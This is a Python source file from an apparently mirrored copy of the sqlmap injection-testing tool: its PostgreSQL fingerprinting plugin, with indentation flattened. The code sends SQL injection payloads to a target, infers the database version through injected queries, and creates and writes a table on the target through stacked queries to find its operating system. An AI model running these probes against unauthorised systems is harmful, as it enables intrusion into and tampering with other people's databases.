mirror of
https://github.com/sqlmapproject/sqlmap.git
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190 lines
7.1 KiB
Python
190 lines
7.1 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.session import setDbms
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from lib.core.settings import PGSQL_ALIASES
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from lib.core.settings import PGSQL_SYSTEM_DBS
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += "PostgreSQL"
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return value
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actVer = formatDBMSfp()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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References for fingerprint:
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* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
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"""
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if conf.dbms in PGSQL_ALIASES:
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setDbms("PostgreSQL")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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infoMsg = "testing PostgreSQL"
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logger.info(infoMsg)
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randInt = getUnicode(randomInt(1))
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payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result:
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infoMsg = "confirming PostgreSQL"
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logger.info(infoMsg)
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payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DMBS is not PostgreSQL"
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logger.warn(warnMsg)
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return False
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setDbms("PostgreSQL")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2, suppressOutput=True) == "2":
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kb.dbmsVersion = [">= 8.4.0"]
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elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ):
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kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
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elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True):
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kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
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elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2, suppressOutput=True) == "9":
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kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
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elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2, suppressOutput=True) == "3":
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kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
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elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False, suppressOutput=True):
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kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
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elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False, suppressOutput=True) == "p":
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kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
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elif inject.getValue("SELECT BIT_LENGTH(1)") == "8":
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kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
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elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False, suppressOutput=True) == "a":
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kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
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elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2, suppressOutput=True) == "8":
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kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
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elif inject.getValue("SELECT MAX('a')") == "a":
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kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
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elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False, suppressOutput=True)):
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kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
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elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "2":
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kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
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elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False, suppressOutput=True) == "s":
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kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
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else:
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kb.dbmsVersion = ["< 6.2.0"]
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return True
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else:
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warnMsg = "the back-end DMBS is not PostgreSQL"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system"
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logger.info(infoMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
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# Windows executables should always have ' Visual C++' or ' mingw'
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# patterns within the banner
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osWindows = ( " Visual C++", "mingw" )
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for osPattern in osWindows:
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query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%" + osPattern + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
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kb.os = "Windows"
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break
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if kb.os is None:
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kb.os = "Linux"
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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def forceDbmsEnum(self):
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if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
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conf.db = "public"
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warnMsg = "on PostgreSQL it is only possible to enumerate "
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warnMsg += "on the current schema and on system databases, "
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warnMsg += "sqlmap is going to use 'public' schema as "
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warnMsg += "database name"
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logger.warn(warnMsg)
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